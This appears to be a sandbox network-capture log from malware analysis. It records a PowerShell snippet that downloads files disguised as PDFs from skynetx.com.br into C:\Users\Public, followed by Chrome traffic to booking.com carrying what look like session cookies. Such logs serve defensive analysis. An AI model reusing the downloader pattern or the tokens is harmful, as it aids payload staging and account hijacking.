2024-11-02 13:00:08 UTC	207	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:06 GMT Server: Apache Last-Modified: Mon, 14 Oct 2024 19:09:54 GMT Accept-Ranges: bytes Content-Length: 2224 Connection: close Content-Type: text/plain
2024-11-02 13:00:08 UTC	2224	IN	Data Raw: 24 75 72 6c 20 3d 20 22 68 74 74 70 73 3a 2f 2f 73 6b 79 6e 65 74 78 2e 63 6f 6d 2e 62 72 2f 6c 69 63 65 6e 73 65 2f 32 2f 31 78 78 2e 70 64 66 22 0d 0a 24 73 61 76 65 50 61 74 68 20 3d 20 22 43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 31 78 78 2e 74 78 74 22 0d 0a 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 2d 55 72 69 20 24 75 72 6c 20 2d 4f 75 74 46 69 6c 65 20 24 73 61 76 65 50 61 74 68 0d 0a 0d 0a 24 75 72 6c 20 3d 20 22 68 74 74 70 73 3a 2f 2f 73 6b 79 6e 65 74 78 2e 63 6f 6d 2e 62 72 2f 6c 69 63 65 6e 73 65 2f 32 2f 31 74 79 70 65 2e 70 64 66 22 0d 0a 24 73 61 76 65 50 61 74 68 20 3d 20 22 43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 31 74 79 70 65 2e 74 78 74 22 0d 0a 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 2d 55 72 Data Ascii: $url = "https://skynetx.com.br/license/2/1xx.pdf"$savePath = "C:\Users\Public\1xx.txt"Invoke-WebRequest -Uri $url -OutFile $savePath$url = "https://skynetx.com.br/license/2/1type.pdf"$savePath = "C:\Users\Public\1type.txt"Invoke-WebRequest -Ur

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49728	18.245.31.18	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:08 UTC	570	OUT	GET /psb/accountsportal/assets/624_96ca1b056e9464729f28.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:08 UTC	726	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 19093 Connection: close Date: Fri, 01 Nov 2024 23:27:16 GMT Last-Modified: Fri, 01 Nov 2024 17:50:36 GMT ETag: "6e8b91cf85447803cc45a165b73683c2" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: xKGeDoWSPgSV2TFtsQxVMbfNMEaZCTvv Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 e030504e72fa75d92c1856a58b964932.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: U162NtmLq165JwhbBmZ58S6a2MT74xxY4mi9O68dtPHvWodgAxZFxA== Age: 48773 Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:08 UTC	15658	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 36 32 34 5d 2c 7b 37 32 30 31 31 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 74 28 39 36 35 34 30 29 2c 74 28 32 39 33 38 35 29 2c 74 28 35 39 34 39 30 29 2c 74 28 33 33 31 36 32 29 2c 74 28 35 39 36 37 39 29 2c 74 28 31 39 33 35 33 29 2c 74 28 36 35 36 33 31 29 2c 74 28 38 34 38 30 38 29 7d 2c 39 36 34 36 32 3a 66 75 6e 63 74 69 6f 6e Data Ascii: "use strict";(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[624],{72011:function(n,e,t){t(96540),t(29385),t(59490),t(33162),t(59679),t(19353),t(65631),t(84808)},96462:function
2024-11-02 13:00:08 UTC	3435	IN	Data Raw: 26 26 31 3d 3d 3d 6e 3f 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 41 2c 54 29 3a 30 3d 3d 3d 6b 26 26 77 69 6e 64 6f 77 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 41 2c 54 29 7d 76 61 72 20 56 3d 21 31 2c 4d 3d 7b 6c 65 6e 67 74 68 3a 65 2e 6c 65 6e 67 74 68 2c 61 63 74 69 6f 6e 3a 22 50 4f 50 22 2c 6c 6f 63 61 74 69 6f 6e 3a 43 2c 63 72 65 61 74 65 48 72 65 66 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 62 61 73 65 22 29 2c 74 3d 22 22 3b 72 65 74 75 72 6e 20 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 22 29 26 26 28 74 3d 77 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 29 2c Data Ascii: &&1===n?window.addEventListener(A,T):0===k&&window.removeEventListener(A,T)}var V=!1,M={length:e.length,action:"POP",location:C,createHref:function(n){var e=document.querySelector("base"),t="";return e&&e.getAttribute("href")&&(t=w(window.location.href)),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49731	108.156.46.75	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:08 UTC	871	OUT	GET /analytics.js?ca=accountsportal HTTP/1.1 Host: saa.booking.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30
2024-11-02 13:00:08 UTC	550	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 341 Connection: close date: Sat, 02 Nov 2024 13:00:08 GMT cache-control: no-cache, no-store, must-revalidate pragma: no-cache server: Perl Dancer2 0.300004 expires: 0 x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 1675c96d31e7d6eacf2a9135ddb13210.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LHR50-P2 X-Amz-Cf-Id: S6jsnhO-IlhjW2VUkWU05Mr_7TIsvxlHgDAzdQjTpi5lZ1xv_HPIQg==
2024-11-02 13:00:08 UTC	341	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 53 41 41 3d 77 69 6e 64 6f 77 2e 53 41 41 7c 7c 7b 7d 3b 77 69 6e 64 6f 77 2e 53 41 41 2e 6e 65 63 3d 22 4b 48 38 38 59 78 71 5a 37 78 47 45 55 4b 70 2f 63 38 64 79 35 41 72 69 22 3b 77 69 6e 64 6f 77 2e 53 41 41 2e 64 3d 22 73 61 61 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 3b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2c 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 61 2e 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3b 61 2e 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 61 61 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 2f 61 73 73 65 74 2e Data Ascii: (function(){window.SAA=window.SAA\|\|{};window.SAA.nec="KH88YxqZ7xGEUKp/c8dy5Ari";window.SAA.d="saa.booking.com";var b=document.getElementsByTagName("head")[0],a=document.createElement("script");a.type="text/javascript";a.src="https://saa.booking.com/asset.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49730	99.86.4.32	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:08 UTC	1115	OUT	GET /_/fvtrpw.gif HTTP/1.1 Host: account.booking.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_ap=U2FsdGVkX1%2BPnicAhHdzp65UiOyANjf0xTonF7cgkMdJjUzVc0STBb%2Bx2Avxy0hdK%2FGq53sdWfNS%0ArfNIOZyzTQ%3D%3D%0A; bkng_sso_session=e30; bkng_ap_sso_session=eyJib29raW5nX2dsb2JhbCI6eyJzZXNzaW9ucyI6W10sImRhdGFfc3ViamVjdF9pZCI6ImFhNzkyODE2LWFlZGUtNDhiNy04OTcwLWI2NzU0NGFmMTQyMSJ9fQ
2024-11-02 13:00:08 UTC	2746	IN	HTTP/1.1 200 OK Content-Type: image/gif Transfer-Encoding: chunked Connection: close server: envoy date: Sat, 02 Nov 2024 13:00:08 GMT content-disposition: attachment; filename=etnht.gif set-cookie: bkng_sso_session=e30; domain=.booking.com; path=/; expires=Thu, 01-Nov-2029 13:00:08 GMT; secure; HttpOnly set-cookie: bkng_sso_ses=e30; domain=.booking.com; path=/; expires=Thu, 01-Nov-2029 13:00:08 GMT; secure; HttpOnly set-cookie: bkng_ap=U2FsdGVkX19rHEBu7NB9TsVkR6OJKwfTMsB4rkFqG86Z1VBMU74WiNVk2tdncYp1wmL%2BPAwmflh9%0Aj%2FLZjnGztA%3D%3D%0A; domain=account.booking.com; path=/; secure; HttpOnly set-cookie: bkng_ap_sso_session=eyJib29raW5nX2dsb2JhbCI6eyJkYXRhX3N1YmplY3RfaWQiOiJhYTc5MjgxNi1hZWRlLTQ4YjctODk3MC1iNjc1NDRhZjE0MjEiLCJzZXNzaW9ucyI6W119fQ; domain=account.booking.com; path=/; expires=Thu, 01-Nov-2029 13:00:08 GMT; SameSite=Lax; secure; HttpOnly content-security-policy: frame-ancestors https://.booking.com 'self'; report-uri https://nellie.booking.com/csp-report-uri?type=block&tag=212&pid=b5745b6c0b5f0cd4&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgRvqAg3-UlCb1qLTaSWs19aTN2tPI61hmjd4ZZ9GG9-cqv0So3E9h7k content-security-policy-report-only: base-uri 'none'; connect-src saa.booking.com secure.booking.com reports.booking.com privacyportal-eu.onetrust.com geolocation.onetrust.com cdn.cookielaw.org www.google-analytics.com .perimeterx.net .pxchk.net .px-cdn.net .px-client.net .px-cloud.net 'self' 'report-sample'; default-src .bstatic.com bstatic.com 'self'; frame-src https://www.youtube.com/embed/Vv4w5SmRkss .bstatic.com https://www.google.com bstatic.com www.booking.com secure.booking.com paymentcomponent.booking.com 'self'; img-src 'self' data: www.booking.com graph.facebook.com cdn.cookielaw.org account.booking.com .bstatic.com bstatic.com .static.booking.cn www.google-analytics.com www.google.com stats.g.doubleclick.net .px-cloud.net .perimeterx.net www.gstatic.com; object-src 'none'; report-uri https://nellie.booking.com/csp-report-uri?type=report&tag=213&pid=b5745b6c0b5f0cd4&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgRvqAg3-UlCb1qLTaSWs19aTN2tPI61hmjd4ZZ9GG9-cqv0So3E9h7k; script-src s [TRUNCATED] x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 c1fb60e38be5022a78e4b52bedded7c2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA6-C1 X-Amz-Cf-Id: 6QUZRP47VzOAduavPjYAIVyixTxlAo-papbfSODcXYOAXr8LlZisQA==
2024-11-02 13:00:08 UTC	41	IN	Data Raw: 32 33 0d 0a 47 49 46 38 39 61 01 00 01 00 90 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 04 01 00 3b 0d 0a Data Ascii: 23GIF89a,;
2024-11-02 13:00:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49729	18.238.243.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:08 UTC	401	OUT	GET /psb/accountsportal/assets/runtime~index_a9240719fc64a8f3ef82.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:09 UTC	714	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 4751 Connection: close Date: Sat, 02 Nov 2024 13:00:09 GMT Last-Modified: Fri, 01 Nov 2024 17:50:37 GMT ETag: "c51b5d318485406b1443dfd5f55d26d1" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: DYaI8et2rQxeriIJkcR9.mltjc_wjIU8 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 d86b0ef5c17f755a14a26fbae67aba4e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: nXpKpuPurDiRKr92lUJv2M9p3sM7biIW0PygvHFzHnlpd5KrybpUow== Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:09 UTC	4751	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 74 2c 72 2c 6e 2c 6f 2c 69 3d 7b 7d 2c 75 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 76 61 72 20 74 3d 75 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 74 29 72 65 74 75 72 6e 20 74 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 75 5b 65 5d 3d 7b 69 64 3a 65 2c 6c 6f 61 64 65 64 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 69 5b 65 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 61 29 2c 72 2e 6c 6f 61 64 65 64 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 61 2e 6d 3d 69 2c 65 3d 5b 5d 2c 61 2e 4f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6e 2c 6f 29 7b 69 66 28 21 72 29 7b 76 61 72 20 69 3d 31 Data Ascii: !function(){"use strict";var e,t,r,n,o,i={},u={};function a(e){var t=u[e];if(void 0!==t)return t.exports;var r=u[e]={id:e,loaded:!1,exports:{}};return i[e].call(r.exports,r,r.exports,a),r.loaded=!0,r.exports}a.m=i,e=[],a.O=function(t,r,n,o){if(!r){var i=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49732	18.245.31.18	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:08 UTC	570	OUT	GET /psb/accountsportal/assets/987_175b3de059909b49ef78.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:08 UTC	725	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 9049 Connection: close Date: Sat, 02 Nov 2024 09:39:34 GMT Last-Modified: Fri, 01 Nov 2024 17:50:38 GMT ETag: "e70689d8a4302fe7417abad50431c87e" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: c05IrTIYJQzQctSgqvKpu1uOtqbzPEnk Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 d8ec42efeb409ac816e90eb0236c1f4a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: KsVt55I2SxXHirXyNt0nzWUtkF6b3CjzlUA94izr1zKzyA0C4VuQWA== Age: 12035 Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:08 UTC	9049	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 39 38 37 5d 2c 7b 31 36 34 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 2c 72 29 7b 69 66 28 21 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 6e 29 7c 7c 76 6f 69 64 20 30 21 3d 3d 72 26 26 72 20 69 6e 20 74 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 65 2b 22 3a 20 69 6e 63 6f 72 72 65 63 74 20 69 6e 76 6f Data Ascii: (self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[987],{16440:function(t){t.exports=function(t,n,e,r){if(!(t instanceof n)\|\|void 0!==r&&r in t)throw TypeError(e+": incorrect invo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49734	18.245.31.18	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:08 UTC	570	OUT	GET /psb/accountsportal/assets/629_b3ab60a933ee60003b06.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:08 UTC	727	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 490977 Connection: close Date: Fri, 01 Nov 2024 23:27:16 GMT Last-Modified: Fri, 01 Nov 2024 17:50:36 GMT ETag: "18bcf08aa92a78490f082fd6e040fb46" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: 6tNKcR4U4bnqX.1ygDHQGkp4Flm0a9Lm Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 7e3b2ebcc561cb84cf59a80a76eb7e28.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: 8JSTD0tFYZIzALo6NzMJTyNsM_in6kjQiv78qXWHrvrI0Eb_NfoWCA== Age: 48773 Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 36 32 39 5f 62 33 61 62 36 30 61 39 33 33 65 65 36 30 30 30 33 62 30 36 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 36 32 39 5d 2c 7b 36 37 32 31 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 Data Ascii: /! For license information please see 629_b3ab60a933ee60003b06.js.LICENSE.txt /(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[629],{67214:function(e,t,n){"use strict";var r
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 69 66 28 75 29 72 65 74 75 72 6e 3b 75 3d 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 75 3d 21 31 2c 7a 28 29 7d 29 2c 63 29 7d 6d 3d 21 30 3b 76 61 72 20 65 2c 74 2c 6e 2c 6f 2c 61 2c 69 3d 5b 5d 3b 72 2e 6c 65 76 65 6c 26 26 72 2e 72 65 70 6f 72 74 28 72 2e 65 76 65 6e 74 73 2e 43 48 45 43 4b 5f 49 46 5f 56 49 53 49 42 4c 45 2c 64 29 3b 66 6f 72 28 76 61 72 20 73 3d 30 2c 6c 3d 64 2e 6c 65 6e 67 74 68 3b 73 3c 6c 3b 2b 2b 73 29 28 65 3d 64 5b 73 5d 29 26 26 28 74 3d 65 5b 30 5d 2c 6e 3d 76 6f 69 64 20 30 2c 6f 3d 76 6f 69 64 20 30 2c 61 3d 76 6f 69 64 20 30 2c 74 26 26 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 26 26 28 21 74 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 7c 7c 28 6e 3d 74 2e 67 65 74 42 6f Data Ascii: if(u)return;u=setTimeout((function(){u=!1,z()}),c)}m=!0;var e,t,n,o,a,i=[];r.level&&r.report(r.events.CHECK_IF_VISIBLE,d);for(var s=0,l=d.length;s<l;++s)(e=d[s])&&(t=e[0],n=void 0,o=void 0,a=void 0,t&&t.parentElement&&(!t.getBoundingClientRect\|\|(n=t.getBo
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 72 2c 69 2c 64 29 3b 69 66 28 21 28 69 26 61 29 29 7b 76 61 72 20 6a 3d 41 26 26 59 2e 63 61 6c 6c 28 65 2c 22 5f 5f 77 72 61 70 70 65 64 5f 5f 22 29 2c 4f 3d 53 26 26 59 2e 63 61 6c 6c 28 74 2c 22 5f 5f 77 72 61 70 70 65 64 5f 5f 22 29 3b 69 66 28 6a 7c 7c 4f 29 7b 76 61 72 20 4e 3d 6a 3f 65 2e 76 61 6c 75 65 28 29 3a 65 2c 7a 3d 4f 3f 74 2e 76 61 6c 75 65 28 29 3a 74 3b 72 65 74 75 72 6e 20 64 7c 7c 28 64 3d 6e 65 77 20 62 65 29 2c 6e 28 4e 2c 7a 2c 72 2c 69 2c 64 29 7d 7d 72 65 74 75 72 6e 21 21 43 26 26 28 64 7c 7c 28 64 3d 6e 65 77 20 62 65 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 2c 6f 2c 69 29 7b 76 61 72 20 73 3d 6f 26 61 2c 6c 3d 42 65 28 65 29 2c 63 3d 6c 2e 6c 65 6e 67 74 68 3b 69 66 28 63 21 3d 42 65 28 74 29 2e 6c 65 6e 67 74 68 Data Ascii: r,i,d);if(!(i&a)){var j=A&&Y.call(e,"__wrapped__"),O=S&&Y.call(t,"__wrapped__");if(j\|\|O){var N=j?e.value():e,z=O?t.value():t;return d\|\|(d=new be),n(N,z,r,i,d)}}return!!C&&(d\|\|(d=new be),function(e,t,n,r,o,i){var s=o&a,l=Be(e),c=l.length;if(c!=Be(t).length
2024-11-02 13:00:08 UTC	15349	IN	Data Raw: 69 64 65 72 2c 7b 76 61 6c 75 65 3a 61 7d 2c 61 2e 6d 61 74 63 68 3f 63 3f 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 3f 63 28 61 29 3a 63 3a 75 3f 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 75 2c 61 29 3a 66 3f 66 28 61 29 3a 6e 75 6c 6c 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 3f 63 28 61 29 3a 6e 75 6c 6c 29 7d 29 29 7d 2c 74 7d 28 6f 2e 43 6f 6d 70 6f 6e 65 6e 74 29 3b 6f 2e 43 6f 6d 70 6f 6e 65 6e 74 3b 76 61 72 20 77 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7c 7c 74 68 69 73 7d 72 65 74 75 72 6e 28 30 2c 72 2e 41 29 28 74 2c 65 29 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6e 64 Data Ascii: ider,{value:a},a.match?c?"function"==typeof 